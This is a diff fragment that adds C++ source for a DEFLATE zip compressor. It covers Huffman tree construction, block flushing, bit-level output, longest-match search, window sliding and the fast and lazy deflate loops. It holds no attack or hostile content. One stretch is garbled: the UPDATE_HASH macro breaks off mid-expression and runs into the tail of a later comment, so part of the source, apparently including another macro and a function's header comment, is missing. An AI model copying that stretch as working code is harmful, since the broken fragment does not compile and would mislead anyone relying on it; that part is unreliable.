+ max_count = 7, min_count = 4;
+ }
+ }
+}
+
+/* ===========================================================================
+ * Construct the Huffman tree for the bit lengths and return the index in
+ * bl_order of the last bit length code to send.
+ */
+int build_bl_tree(TState& state)
+{
+ int max_blindex; /* index of last bit length code of non zero freq */
+
+ /* Determine the bit length frequencies for literal and distance trees */
+ scan_tree(state, (ct_data*)state.ts.dyn_ltree, state.ts.l_desc.max_code);
+ scan_tree(state, (ct_data*)state.ts.dyn_dtree, state.ts.d_desc.max_code);
+
+ /* Build the bit length tree: */
+ build_tree(state, (tree_desc*)(&state.ts.bl_desc));
+ /* opt_len now includes the length of the tree representations, except
+ * the lengths of the bit lengths codes and the 5+5+4 bits for the counts.
+ */
+
+ /* Determine the number of bit length codes to send. The pkzip format
+ * requires that at least 4 bit length codes be sent. (appnote.txt says
+ * 3 but the actual value used is 4.)
+ */
+ for (max_blindex = BL_CODES - 1; max_blindex >= 3; max_blindex--) {
+ if (state.ts.bl_tree[bl_order[max_blindex]].dl.len != 0) break;
+ }
+ /* Update opt_len to include the bit length tree and counts */
+ state.ts.opt_len += 3 * (max_blindex + 1) + 5 + 5 + 4;
+ Trace("\ndyn trees: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len);
+
+ return max_blindex;
+}
+
+/* ===========================================================================
+ * Send the header for a block using dynamic Huffman trees: the counts, the
+ * lengths of the bit length codes, the literal tree and the distance tree.
+ * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4.
+ */
+void send_all_trees(TState& state, int lcodes, int dcodes, int blcodes)
+{
+ int rank; /* index in bl_order */
+
+ Assert(state, lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes");
+ Assert(state, lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES,
+ "too many codes");
+ Trace("\nbl counts: ");
+ send_bits(state, lcodes - 257, 5);
+ /* not +255 as stated in appnote.txt 1.93a or -256 in 2.04c */
+ send_bits(state, dcodes - 1, 5);
+ send_bits(state, blcodes - 4, 4); /* not -3 as stated in appnote.txt */
+ for (rank = 0; rank < blcodes; rank++) {
+ Trace("\nbl code %2d ", bl_order[rank]);
+ send_bits(state, state.ts.bl_tree[bl_order[rank]].dl.len, 3);
+ }
+ Trace("\nbl tree: sent %ld", state.bs.bits_sent);
+
+ send_tree(state, (ct_data*)state.ts.dyn_ltree, lcodes - 1); /* send the literal tree */
+ Trace("\nlit tree: sent %ld", state.bs.bits_sent);
+
+ send_tree(state, (ct_data*)state.ts.dyn_dtree, dcodes - 1); /* send the distance tree */
+ Trace("\ndist tree: sent %ld", state.bs.bits_sent);
+}
+
+/* ===========================================================================
+ * Determine the best encoding for the current block: dynamic trees, static
+ * trees or store, and output the encoded block to the zip file. This function
+ * returns the total compressed length (in bytes) for the file so far.
+ */
+ulg flush_block(TState& state, char* buf, ulg stored_len, int eof)
+{
+ ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */
+ int max_blindex; /* index of last bit length code of non zero freq */
+
+ state.ts.flag_buf[state.ts.last_flags] = state.ts.flags; /* Save the flags for the last 8 items */
+
+ /* Check if the file is ascii or binary */
+ if (*state.ts.file_type == (ush)UNKNOWN) set_file_type(state);
+
+ /* Construct the literal and distance trees */
+ build_tree(state, (tree_desc*)(&state.ts.l_desc));
+ Trace("\nlit data: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len);
+
+ build_tree(state, (tree_desc*)(&state.ts.d_desc));
+ Trace("\ndist data: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len);
+ /* At this point, opt_len and static_len are the total bit lengths of
+ * the compressed block data, excluding the tree representations.
+ */
+
+ /* Build the bit length tree for the above two trees, and get the index
+ * in bl_order of the last bit length code to send.
+ */
+ max_blindex = build_bl_tree(state);
+
+ /* Determine the best encoding. Compute first the block length in bytes */
+ opt_lenb = (state.ts.opt_len + 3 + 7) >> 3;
+ static_lenb = (state.ts.static_len + 3 + 7) >> 3;
+ state.ts.input_len += stored_len; /* for debugging only */
+
+ Trace("\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u dist %u ",
+ opt_lenb, state.ts.opt_len, static_lenb, state.ts.static_len, stored_len,
+ state.ts.last_lit, state.ts.last_dist);
+
+ if (static_lenb <= opt_lenb) opt_lenb = static_lenb;
+
+ // Originally, zip allowed the file to be transformed from a compressed
+ // into a stored file in the case where compression failed, there
+ // was only one block, and it was allowed to change. I've removed this
+ // possibility since the code's cleaner if no changes are allowed.
+ //if (stored_len <= opt_lenb && eof && state.ts.cmpr_bytelen == 0L
+ // && state.ts.cmpr_len_bits == 0L && state.seekable)
+ //{ // && state.ts.file_method != NULL
+ // // Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there:
+ // Assert(state,buf!=NULL,"block vanished");
+ // copy_block(state,buf, (unsigned)stored_len, 0); // without header
+ // state.ts.cmpr_bytelen = stored_len;
+ // Assert(state,false,"unimplemented *state.ts.file_method = STORE;");
+ // //*state.ts.file_method = STORE;
+ //}
+ //else
+ if (stored_len + 4 <= opt_lenb && buf != (char*)NULL) {
+ /* 4: two words for the lengths */
+/* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE.
+ * Otherwise we can't have processed more than WSIZE input bytes since
+ * the last block flush, because compression would have been
+ * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to
+ * transform a block into a stored block.
+ */
+ send_bits(state, (STORED_BLOCK << 1) + eof, 3); /* send block type */
+ state.ts.cmpr_bytelen += ((state.ts.cmpr_len_bits + 3 + 7) >> 3) + stored_len + 4;
+ state.ts.cmpr_len_bits = 0L;
+
+ copy_block(state, buf, (unsigned)stored_len, 1); /* with header */
+ }
+ else if (static_lenb == opt_lenb) {
+ send_bits(state, (STATIC_TREES << 1) + eof, 3);
+ compress_block(state, (ct_data*)state.ts.static_ltree, (ct_data*)state.ts.static_dtree);
+ state.ts.cmpr_len_bits += 3 + state.ts.static_len;
+ state.ts.cmpr_bytelen += state.ts.cmpr_len_bits >> 3;
+ state.ts.cmpr_len_bits &= 7L;
+ }
+ else {
+ send_bits(state, (DYN_TREES << 1) + eof, 3);
+ send_all_trees(state, state.ts.l_desc.max_code + 1, state.ts.d_desc.max_code + 1, max_blindex + 1);
+ compress_block(state, (ct_data*)state.ts.dyn_ltree, (ct_data*)state.ts.dyn_dtree);
+ state.ts.cmpr_len_bits += 3 + state.ts.opt_len;
+ state.ts.cmpr_bytelen += state.ts.cmpr_len_bits >> 3;
+ state.ts.cmpr_len_bits &= 7L;
+ }
+ Assert(state, ((state.ts.cmpr_bytelen << 3) + state.ts.cmpr_len_bits) == state.bs.bits_sent, "bad compressed size");
+ init_block(state);
+
+ if (eof) {
+ // Assert(state,input_len == isize, "bad input size");
+ bi_windup(state);
+ state.ts.cmpr_len_bits += 7; /* align on byte boundary */
+ }
+ Trace("\n");
+
+ return state.ts.cmpr_bytelen + (state.ts.cmpr_len_bits >> 3);
+}
+
+/* ===========================================================================
+ * Save the match info and tally the frequency counts. Return true if
+ * the current block must be flushed.
+ */
+int ct_tally(TState& state, int dist, int lc)
+{
+ state.ts.l_buf[state.ts.last_lit++] = (uch)lc;
+ if (dist == 0) {
+ /* lc is the unmatched char */
+ state.ts.dyn_ltree[lc].fc.freq++;
+ }
+ else {
+ /* Here, lc is the match length - MIN_MATCH */
+ dist--; /* dist = match distance - 1 */
+ Assert(state, (ush)dist < (ush)MAX_DIST &&
+ (ush)lc <= (ush)(MAX_MATCH - MIN_MATCH) &&
+ (ush)d_code(dist) < (ush)D_CODES, "ct_tally: bad match");
+
+ state.ts.dyn_ltree[state.ts.length_code[lc] + LITERALS + 1].fc.freq++;
+ state.ts.dyn_dtree[d_code(dist)].fc.freq++;
+
+ state.ts.d_buf[state.ts.last_dist++] = (ush)dist;
+ state.ts.flags |= state.ts.flag_bit;
+ }
+ state.ts.flag_bit <<= 1;
+
+ /* Output the flags if they fill a byte: */
+ if ((state.ts.last_lit & 7) == 0) {
+ state.ts.flag_buf[state.ts.last_flags++] = state.ts.flags;
+ state.ts.flags = 0, state.ts.flag_bit = 1;
+ }
+ /* Try to guess if it is profitable to stop the current block here */
+ if (state.level > 2 && (state.ts.last_lit & 0xfff) == 0) {
+ /* Compute an upper bound for the compressed length */
+ ulg out_length = (ulg)state.ts.last_lit * 8L;
+ ulg in_length = (ulg)state.ds.strstart - state.ds.block_start;
+ int dcode;
+ for (dcode = 0; dcode < D_CODES; dcode++) {
+ out_length += (ulg)state.ts.dyn_dtree[dcode].fc.freq * (5L + extra_dbits[dcode]);
+ }
+ out_length >>= 3;
+ Trace("\nlast_lit %u, last_dist %u, in %ld, out ~%ld(%ld%%) ",
+ state.ts.last_lit, state.ts.last_dist, in_length, out_length,
+ 100L - out_length * 100L / in_length);
+ if (state.ts.last_dist < state.ts.last_lit / 2 && out_length < in_length / 2) return 1;
+ }
+ return (state.ts.last_lit == LIT_BUFSIZE - 1 || state.ts.last_dist == DIST_BUFSIZE);
+ /* We avoid equality with LIT_BUFSIZE because of wraparound at 64K
+ * on 16 bit machines and because stored blocks are restricted to
+ * 64K-1 bytes.
+ */
+}
+
+/* ===========================================================================
+ * Send the block data compressed using the given Huffman trees
+ */
+void compress_block(TState& state, ct_data* ltree, ct_data* dtree)
+{
+ unsigned dist; /* distance of matched string */
+ int lc; /* match length or unmatched char (if dist == 0) */
+ unsigned lx = 0; /* running index in l_buf */
+ unsigned dx = 0; /* running index in d_buf */
+ unsigned fx = 0; /* running index in flag_buf */
+ uch flag = 0; /* current flags */
+ unsigned code; /* the code to send */
+ int extra; /* number of extra bits to send */
+
+ if (state.ts.last_lit != 0) do {
+ if ((lx & 7) == 0) flag = state.ts.flag_buf[fx++];
+ lc = state.ts.l_buf[lx++];
+ if ((flag & 1) == 0) {
+ send_code(state, lc, ltree); /* send a literal byte */
+ }
+ else {
+ /* Here, lc is the match length - MIN_MATCH */
+ code = state.ts.length_code[lc];
+ send_code(state, code + LITERALS + 1, ltree); /* send the length code */
+ extra = extra_lbits[code];
+ if (extra != 0) {
+ lc -= state.ts.base_length[code];
+ send_bits(state, lc, extra); /* send the extra length bits */
+ }
+ dist = state.ts.d_buf[dx++];
+ /* Here, dist is the match distance - 1 */
+ code = d_code(dist);
+ Assert(state, code < D_CODES, "bad d_code");
+
+ send_code(state, code, dtree); /* send the distance code */
+ extra = extra_dbits[code];
+ if (extra != 0) {
+ dist -= state.ts.base_dist[code];
+ send_bits(state, dist, extra); /* send the extra distance bits */
+ }
+ } /* literal or match pair ? */
+ flag >>= 1;
+ } while (lx < state.ts.last_lit);
+
+ send_code(state, END_BLOCK, ltree);
+}
+
+/* ===========================================================================
+ * Set the file type to ASCII or BINARY, using a crude approximation:
+ * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise.
+ * IN assertion: the fields freq of dyn_ltree are set and the total of all
+ * frequencies does not exceed 64K (to fit in an int on 16 bit machines).
+ */
+void set_file_type(TState& state)
+{
+ int n = 0;
+ unsigned ascii_freq = 0;
+ unsigned bin_freq = 0;
+ while (n < 7) bin_freq += state.ts.dyn_ltree[n++].fc.freq;
+ while (n < 128) ascii_freq += state.ts.dyn_ltree[n++].fc.freq;
+ while (n < LITERALS) bin_freq += state.ts.dyn_ltree[n++].fc.freq;
+ *state.ts.file_type = (ush)(bin_freq > (ascii_freq >> 2) ? BINARY : ASCII);
+}
+
+
+/* ===========================================================================
+ * Initialize the bit string routines.
+ */
+void bi_init(TState& state, char* tgt_buf, unsigned tgt_size, int flsh_allowed)
+{
+ state.bs.out_buf = tgt_buf;
+ state.bs.out_size = tgt_size;
+ state.bs.out_offset = 0;
+ state.bs.flush_flg = flsh_allowed;
+
+ state.bs.bi_buf = 0;
+ state.bs.bi_valid = 0;
+ state.bs.bits_sent = 0L;
+}
+
+/* ===========================================================================
+ * Send a value on a given number of bits.
+ * IN assertion: length <= 16 and value fits in length bits.
+ */
+void send_bits(TState& state, int value, int length)
+{
+ Assert(state, length > 0 && length <= 15, "invalid length");
+ state.bs.bits_sent += (ulg)length;
+ /* If not enough room in bi_buf, use (bi_valid) bits from bi_buf and
+ * (Buf_size - bi_valid) bits from value to flush the filled bi_buf,
+ * then fill in the rest of (value), leaving (length - (Buf_size-bi_valid))
+ * unused bits in bi_buf.
+ */
+ state.bs.bi_buf |= (value << state.bs.bi_valid);
+ state.bs.bi_valid += length;
+ if (state.bs.bi_valid > (int)Buf_size) {
+ PUTSHORT(state, state.bs.bi_buf);
+ state.bs.bi_valid -= Buf_size;
+ state.bs.bi_buf = (unsigned)value >> (length - state.bs.bi_valid);
+ }
+}
+
+/* ===========================================================================
+ * Reverse the first len bits of a code, using straightforward code (a faster
+ * method would use a table)
+ * IN assertion: 1 <= len <= 15
+ */
+unsigned bi_reverse(unsigned code, int len)
+{
+ register unsigned res = 0;
+ do {
+ res |= code & 1;
+ code >>= 1, res <<= 1;
+ } while (--len > 0);
+ return res >> 1;
+}
+
+/* ===========================================================================
+ * Write out any remaining bits in an incomplete byte.
+ */
+void bi_windup(TState& state)
+{
+ if (state.bs.bi_valid > 8) {
+ PUTSHORT(state, state.bs.bi_buf);
+ }
+ else if (state.bs.bi_valid > 0) {
+ PUTBYTE(state, state.bs.bi_buf);
+ }
+ if (state.bs.flush_flg) {
+ state.flush_outbuf(state.param, state.bs.out_buf, &state.bs.out_offset);
+ }
+ state.bs.bi_buf = 0;
+ state.bs.bi_valid = 0;
+ state.bs.bits_sent = (state.bs.bits_sent + 7) & ~7;
+}
+
+/* ===========================================================================
+ * Copy a stored block to the zip file, storing first the length and its
+ * one's complement if requested.
+ */
+void copy_block(TState& state, char* block, unsigned len, int header)
+{
+ bi_windup(state); /* align on byte boundary */
+
+ if (header) {
+ PUTSHORT(state, (ush)len);
+ PUTSHORT(state, (ush)~len);
+ state.bs.bits_sent += 2 * 16;
+ }
+ if (state.bs.flush_flg) {
+ state.flush_outbuf(state.param, state.bs.out_buf, &state.bs.out_offset);
+ state.bs.out_offset = len;
+ state.flush_outbuf(state.param, block, &state.bs.out_offset);
+ }
+ else if (state.bs.out_offset + len > state.bs.out_size) {
+ Assert(state, false, "output buffer too small for in-memory compression");
+ }
+ else {
+ memcpy(state.bs.out_buf + state.bs.out_offset, block, len);
+ state.bs.out_offset += len;
+ }
+ state.bs.bits_sent += (ulg)len << 3;
+}
+
+
+
+
+
+
+
+
+/* ===========================================================================
+ * Prototypes for functions.
+ */
+
+void fill_window(TState& state);
+ulg deflate_fast(TState& state);
+
+int longest_match(TState& state, IPos cur_match);
+
+
+/* ===========================================================================
+ * Update a hash value with the given input byte
+ * IN assertion: all calls to to UPDATE_HASH are made with consecutive
+ * input characters, so that a running hash key can be computed from the
+ * previous key instead of complete recalculation each time.
+ */
+#define UPDATE_HASH(h,c) (h = (((h)< 0 if the input file is already read or
+ * mmap'ed in the window[] array, 0 otherwise. In the first case,
+ * window_size is sufficient to contain the whole input file plus
+ * MIN_LOOKAHEAD bytes (to avoid referencing memory beyond the end
+ * of window[] when looking for matches towards the end).
+ */
+void lm_init(TState& state, int pack_level, ush* flags)
+{
+ register unsigned j;
+
+ Assert(state, pack_level >= 1 && pack_level <= 8, "bad pack level");
+
+ /* Do not slide the window if the whole input is already in memory
+ * (window_size > 0)
+ */
+ state.ds.sliding = 0;
+ if (state.ds.window_size == 0L) {
+ state.ds.sliding = 1;
+ state.ds.window_size = (ulg)2L * WSIZE;
+ }
+
+ /* Initialize the hash table (avoiding 64K overflow for 16 bit systems).
+ * prev[] will be initialized on the fly.
+ */
+ state.ds.head[HASH_SIZE - 1] = NIL;
+ memset((char*)state.ds.head, NIL, (unsigned)(HASH_SIZE - 1) * sizeof(*state.ds.head));
+
+ /* Set the default configuration parameters:
+ */
+ state.ds.max_lazy_match = configuration_table[pack_level].max_lazy;
+ state.ds.good_match = configuration_table[pack_level].good_length;
+ state.ds.nice_match = configuration_table[pack_level].nice_length;
+ state.ds.max_chain_length = configuration_table[pack_level].max_chain;
+ if (pack_level <= 2) {
+ *flags |= FAST;
+ }
+ else if (pack_level >= 8) {
+ *flags |= SLOW;
+ }
+ /* ??? reduce max_chain_length for binary files */
+
+ state.ds.strstart = 0;
+ state.ds.block_start = 0L;
+
+ j = WSIZE;
+ j <<= 1; // Can read 64K in one step
+ state.ds.lookahead = state.readfunc(state, (char*)state.ds.window, j);
+
+ if (state.ds.lookahead == 0 || state.ds.lookahead == (unsigned)EOF) {
+ state.ds.eofile = 1, state.ds.lookahead = 0;
+ return;
+ }
+ state.ds.eofile = 0;
+ /* Make sure that we always have enough lookahead. This is important
+ * if input comes from a device such as a tty.
+ */
+ if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state);
+
+ state.ds.ins_h = 0;
+ for (j = 0; j < MIN_MATCH - 1; j++) UPDATE_HASH(state.ds.ins_h, state.ds.window[j]);
+ /* If lookahead < MIN_MATCH, ins_h is garbage, but this is
+ * not important since only literal bytes will be emitted.
+ */
+}
+
+
+/* ===========================================================================
+ * Set match_start to the longest match starting at the given string and
+ * return its length. Matches shorter or equal to prev_length are discarded,
+ * in which case the result is equal to prev_length and match_start is
+ * garbage.
+ * IN assertions: cur_match is the head of the hash chain for the current
+ * string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1
+ */
+ // For 80x86 and 680x0 and ARM, an optimized version is in match.asm or
+ // match.S. The code is functionally equivalent, so you can use the C version
+ // if desired. Which I do so desire!
+int longest_match(TState& state, IPos cur_match)
+{
+ unsigned chain_length = state.ds.max_chain_length; /* max hash chain length */
+ register uch far* scan = state.ds.window + state.ds.strstart; /* current string */
+ register uch far* match; /* matched string */
+ register int len; /* length of current match */
+ int best_len = state.ds.prev_length; /* best match length so far */
+ IPos limit = state.ds.strstart > (IPos)MAX_DIST ? state.ds.strstart - (IPos)MAX_DIST : NIL;
+ /* Stop when cur_match becomes <= limit. To simplify the code,
+ * we prevent matches with the string of window index 0.
+ */
+
+ // The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16.
+ // It is easy to get rid of this optimization if necessary.
+ Assert(state, HASH_BITS >= 8 && MAX_MATCH == 258, "Code too clever");
+
+
+
+ register uch far* strend = state.ds.window + state.ds.strstart + MAX_MATCH;
+ register uch scan_end1 = scan[best_len - 1];
+ register uch scan_end = scan[best_len];
+
+ /* Do not waste too much time if we already have a good match: */
+ if (state.ds.prev_length >= state.ds.good_match) {
+ chain_length >>= 2;
+ }
+
+ Assert(state, state.ds.strstart <= state.ds.window_size - MIN_LOOKAHEAD, "insufficient lookahead");
+
+ do {
+ Assert(state, cur_match < state.ds.strstart, "no future");
+ match = state.ds.window + cur_match;
+
+ /* Skip to next match if the match length cannot increase
+ * or if the match length is less than 2:
+ */
+ if (match[best_len] != scan_end ||
+ match[best_len - 1] != scan_end1 ||
+ *match != *scan ||
+ *++match != scan[1]) continue;
+
+ /* The check at best_len-1 can be removed because it will be made
+ * again later. (This heuristic is not always a win.)
+ * It is not necessary to compare scan[2] and match[2] since they
+ * are always equal when the other bytes match, given that
+ * the hash keys are equal and that HASH_BITS >= 8.
+ */
+ scan += 2, match++;
+
+ /* We check for insufficient lookahead only every 8th comparison;
+ * the 256th check will be made at strstart+258.
+ */
+ do {
+ } while (*++scan == *++match && *++scan == *++match &&
+ *++scan == *++match && *++scan == *++match &&
+ *++scan == *++match && *++scan == *++match &&
+ *++scan == *++match && *++scan == *++match &&
+ scan < strend);
+
+ Assert(state, scan <= state.ds.window + (unsigned)(state.ds.window_size - 1), "wild scan");
+
+ len = MAX_MATCH - (int)(strend - scan);
+ scan = strend - MAX_MATCH;
+
+
+ if (len > best_len) {
+ state.ds.match_start = cur_match;
+ best_len = len;
+ if (len >= state.ds.nice_match) break;
+ scan_end1 = scan[best_len - 1];
+ scan_end = scan[best_len];
+ }
+ } while ((cur_match = state.ds.prev[cur_match & WMASK]) > limit
+ && --chain_length != 0);
+
+ return best_len;
+}
+
+
+
+#define check_match(state,start, match, length)
+// or alternatively...
+//void check_match(TState &state,IPos start, IPos match, int length)
+//{ // check that the match is indeed a match
+// if (memcmp((char*)state.ds.window + match,
+// (char*)state.ds.window + start, length) != EQUAL) {
+// fprintf(stderr,
+// " start %d, match %d, length %d\n",
+// start, match, length);
+// error("invalid match");
+// }
+// if (state.verbose > 1) {
+// fprintf(stderr,"\\[%d,%d]", start-match, length);
+// do { fprintf(stdout,"%c",state.ds.window[start++]); } while (--length != 0);
+// }
+//}
+
+/* ===========================================================================
+ * Fill the window when the lookahead becomes insufficient.
+ * Updates strstart and lookahead, and sets eofile if end of input file.
+ *
+ * IN assertion: lookahead < MIN_LOOKAHEAD && strstart + lookahead > 0
+ * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD
+ * At least one byte has been read, or eofile is set; file reads are
+ * performed for at least two bytes (required for the translate_eol option).
+ */
+void fill_window(TState& state)
+{
+ register unsigned n, m;
+ unsigned more; /* Amount of free space at the end of the window. */
+
+ do {
+ more = (unsigned)(state.ds.window_size - (ulg)state.ds.lookahead - (ulg)state.ds.strstart);
+
+ /* If the window is almost full and there is insufficient lookahead,
+ * move the upper half to the lower one to make room in the upper half.
+ */
+ if (more == (unsigned)EOF) {
+ /* Very unlikely, but possible on 16 bit machine if strstart == 0
+ * and lookahead == 1 (input done one byte at time)
+ */
+ more--;
+
+ /* For MMAP or BIG_MEM, the whole input file is already in memory so
+ * we must not perform sliding. We must however call (*read_buf)() in
+ * order to compute the crc, update lookahead and possibly set eofile.
+ */
+ }
+ else if (state.ds.strstart >= WSIZE + MAX_DIST && state.ds.sliding) {
+
+ /* By the IN assertion, the window is not empty so we can't confuse
+ * more == 0 with more == 64K on a 16 bit machine.
+ */
+ memcpy((char*)state.ds.window, (char*)state.ds.window + WSIZE, (unsigned)WSIZE);
+ state.ds.match_start -= WSIZE;
+ state.ds.strstart -= WSIZE; /* we now have strstart >= MAX_DIST: */
+
+ state.ds.block_start -= (long)WSIZE;
+
+ for (n = 0; n < HASH_SIZE; n++) {
+ m = state.ds.head[n];
+ state.ds.head[n] = (Pos)(m >= WSIZE ? m - WSIZE : NIL);
+ }
+ for (n = 0; n < WSIZE; n++) {
+ m = state.ds.prev[n];
+ state.ds.prev[n] = (Pos)(m >= WSIZE ? m - WSIZE : NIL);
+ /* If n is not on any hash chain, prev[n] is garbage but
+ * its value will never be used.
+ */
+ }
+ more += WSIZE;
+ }
+ if (state.ds.eofile) return;
+
+ /* If there was no sliding:
+ * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 &&
+ * more == window_size - lookahead - strstart
+ * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1)
+ * => more >= window_size - 2*WSIZE + 2
+ * In the MMAP or BIG_MEM case (not yet supported in gzip),
+ * window_size == input_size + MIN_LOOKAHEAD &&
+ * strstart + lookahead <= input_size => more >= MIN_LOOKAHEAD.
+ * Otherwise, window_size == 2*WSIZE so more >= 2.
+ * If there was sliding, more >= WSIZE. So in all cases, more >= 2.
+ */
+ Assert(state, more >= 2, "more < 2");
+
+ n = state.readfunc(state, (char*)state.ds.window + state.ds.strstart + state.ds.lookahead, more);
+
+ if (n == 0 || n == (unsigned)EOF) {
+ state.ds.eofile = 1;
+ }
+ else {
+ state.ds.lookahead += n;
+ }
+ } while (state.ds.lookahead < MIN_LOOKAHEAD && !state.ds.eofile);
+}
+
+/* ===========================================================================
+ * Flush the current block, with given end-of-file flag.
+ * IN assertion: strstart is set to the end of the current match.
+ */
+#define FLUSH_BLOCK(state,eof) \
+ flush_block(state,state.ds.block_start >= 0L ? (char*)&state.ds.window[(unsigned)state.ds.block_start] : \
+ (char*)NULL, (long)state.ds.strstart - state.ds.block_start, (eof))
+
+ /* ===========================================================================
+ * Processes a new input file and return its compressed length. This
+ * function does not perform lazy evaluation of matches and inserts
+ * new strings in the dictionary only for unmatched strings or for short
+ * matches. It is used only for the fast compression options.
+ */
+ulg deflate_fast(TState& state)
+{
+ IPos hash_head = NIL; /* head of the hash chain */
+ int flush; /* set if current block must be flushed */
+ unsigned match_length = 0; /* length of best match */
+
+ state.ds.prev_length = MIN_MATCH - 1;
+ while (state.ds.lookahead != 0) {
+ /* Insert the string window[strstart .. strstart+2] in the
+ * dictionary, and set hash_head to the head of the hash chain:
+ */
+ if (state.ds.lookahead >= MIN_MATCH)
+ INSERT_STRING(state.ds.strstart, hash_head);
+
+ /* Find the longest match, discarding those <= prev_length.
+ * At this point we have always match_length < MIN_MATCH
+ */
+ if (hash_head != NIL && state.ds.strstart - hash_head <= MAX_DIST) {
+ /* To simplify the code, we prevent matches with the string
+ * of window index 0 (in particular we have to avoid a match
+ * of the string with itself at the start of the input file).
+ */
+ /* Do not look for matches beyond the end of the input.
+ * This is necessary to make deflate deterministic.
+ */
+ if ((unsigned)state.ds.nice_match > state.ds.lookahead) state.ds.nice_match = (int)state.ds.lookahead;
+ match_length = longest_match(state, hash_head);
+ /* longest_match() sets match_start */
+ if (match_length > state.ds.lookahead) match_length = state.ds.lookahead;
+ }
+ if (match_length >= MIN_MATCH) {
+ check_match(state, state.ds.strstart, state.ds.match_start, match_length);
+
+ flush = ct_tally(state, state.ds.strstart - state.ds.match_start, match_length - MIN_MATCH);
+
+ state.ds.lookahead -= match_length;
+
+ /* Insert new strings in the hash table only if the match length
+ * is not too large. This saves time but degrades compression.
+ */
+ if (match_length <= state.ds.max_insert_length
+ && state.ds.lookahead >= MIN_MATCH) {
+ match_length--; /* string at strstart already in hash table */
+ do {
+ state.ds.strstart++;
+ INSERT_STRING(state.ds.strstart, hash_head);
+ /* strstart never exceeds WSIZE-MAX_MATCH, so there are
+ * always MIN_MATCH bytes ahead.
+ */
+ } while (--match_length != 0);
+ state.ds.strstart++;
+ }
+ else {
+ state.ds.strstart += match_length;
+ match_length = 0;
+ state.ds.ins_h = state.ds.window[state.ds.strstart];
+ UPDATE_HASH(state.ds.ins_h, state.ds.window[state.ds.strstart + 1]);
+ Assert(state, MIN_MATCH == 3, "Call UPDATE_HASH() MIN_MATCH-3 more times");
+ }
+ }
+ else {
+ /* No match, output a literal byte */
+ flush = ct_tally(state, 0, state.ds.window[state.ds.strstart]);
+ state.ds.lookahead--;
+ state.ds.strstart++;
+ }
+ if (flush) FLUSH_BLOCK(state, 0), state.ds.block_start = state.ds.strstart;
+
+ /* Make sure that we always have enough lookahead, except
+ * at the end of the input file. We need MAX_MATCH bytes
+ * for the next match, plus MIN_MATCH bytes to insert the
+ * string following the next match.
+ */
+ if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state);
+ }
+ return FLUSH_BLOCK(state, 1); /* eof */
+}
+
+/* ===========================================================================
+ * Same as above, but achieves better compression. We use a lazy
+ * evaluation for matches: a match is finally adopted only if there is
+ * no better match at the next window position.
+ */
+ulg deflate(TState& state)
+{
+ IPos hash_head = NIL; /* head of hash chain */
+ IPos prev_match; /* previous match */
+ int flush; /* set if current block must be flushed */
+ int match_available = 0; /* set if previous match exists */
+ register unsigned match_length = MIN_MATCH - 1; /* length of best match */
+
+ if (state.level <= 3) return deflate_fast(state); /* optimized for speed */
+
+ /* Process the input block. */
+ while (state.ds.lookahead != 0) {
+ /* Insert the string window[strstart .. strstart+2] in the
+ * dictionary, and set hash_head to the head of the hash chain:
+ */
+ if (state.ds.lookahead >= MIN_MATCH)
+ INSERT_STRING(state.ds.strstart, hash_head);
+
+ /* Find the longest match, discarding those <= prev_length.
+ */
+ state.ds.prev_length = match_length, prev_match = state.ds.match_start;
+ match_length = MIN_MATCH - 1;
+
+ if (hash_head != NIL && state.ds.prev_length < state.ds.max_lazy_match &&
+ state.ds.strstart - hash_head <= MAX_DIST) {
+ /* To simplify the code, we prevent matches with the string
+ * of window index 0 (in particular we have to avoid a match
+ * of the string with itself at the start of the input file).
+ */
+ /* Do not look for matches beyond the end of the input.
+ * This is necessary to make deflate deterministic.
+ */
+ if ((unsigned)state.ds.nice_match > state.ds.lookahead) state.ds.nice_match = (int)state.ds.lookahead;
+ match_length = longest_match(state, hash_head);
+ /* longest_match() sets match_start */
+ if (match_length > state.ds.lookahead) match_length = state.ds.lookahead;
+
+ /* Ignore a length 3 match if it is too distant: */
+ if (match_length == MIN_MATCH && state.ds.strstart - state.ds.match_start > TOO_FAR) {
+ /* If prev_match is also MIN_MATCH, match_start is garbage
+ * but we will ignore the current match anyway.
+ */
+ match_length = MIN_MATCH - 1;
+ }
+ }
+ /* If there was a match at the previous step and the current
+ * match is not better, output the previous match:
+ */
+ if (state.ds.prev_length >= MIN_MATCH && match_length <= state.ds.prev_length) {
+ unsigned max_insert = state.ds.strstart + state.ds.lookahead - MIN_MATCH;
+ check_match(state, state.ds.strstart - 1, prev_match, state.ds.prev_length);
+ flush = ct_tally(state, state.ds.strstart - 1 - prev_match, state.ds.prev_length - MIN_MATCH);
+
+ /* Insert in hash table all strings up to the end of the match.
+ * strstart-1 and strstart are already inserted.
+ */
+ state.ds.lookahead -= state.ds.prev_length - 1;
+ state.ds.prev_length -= 2;
+ do {
+ if (++state.ds.strstart <= max_insert) {
+ INSERT_STRING(state.ds.strstart, hash_head);
+ /* strstart never exceeds WSIZE-MAX_MATCH, so there are
+ * always MIN_MATCH bytes ahead.
+ */
+ }
+ } while (--state.ds.prev_length != 0);
+ state.ds.strstart++;
+ match_available = 0;
+ match_length = MIN_MATCH - 1;
+
+ if (flush) FLUSH_BLOCK(state, 0), state.ds.block_start = state.ds.strstart;
+
+ }
+ else if (match_available) {
+ /* If there was no match at the previous position, output a
+ * single literal. If there was a match but the current match
+ * is longer, truncate the previous match to a single literal.
+ */
+ if (ct_tally(state, 0, state.ds.window[state.ds.strstart - 1])) {
+ FLUSH_BLOCK(state, 0), state.ds.block_start = state.ds.strstart;
+ }
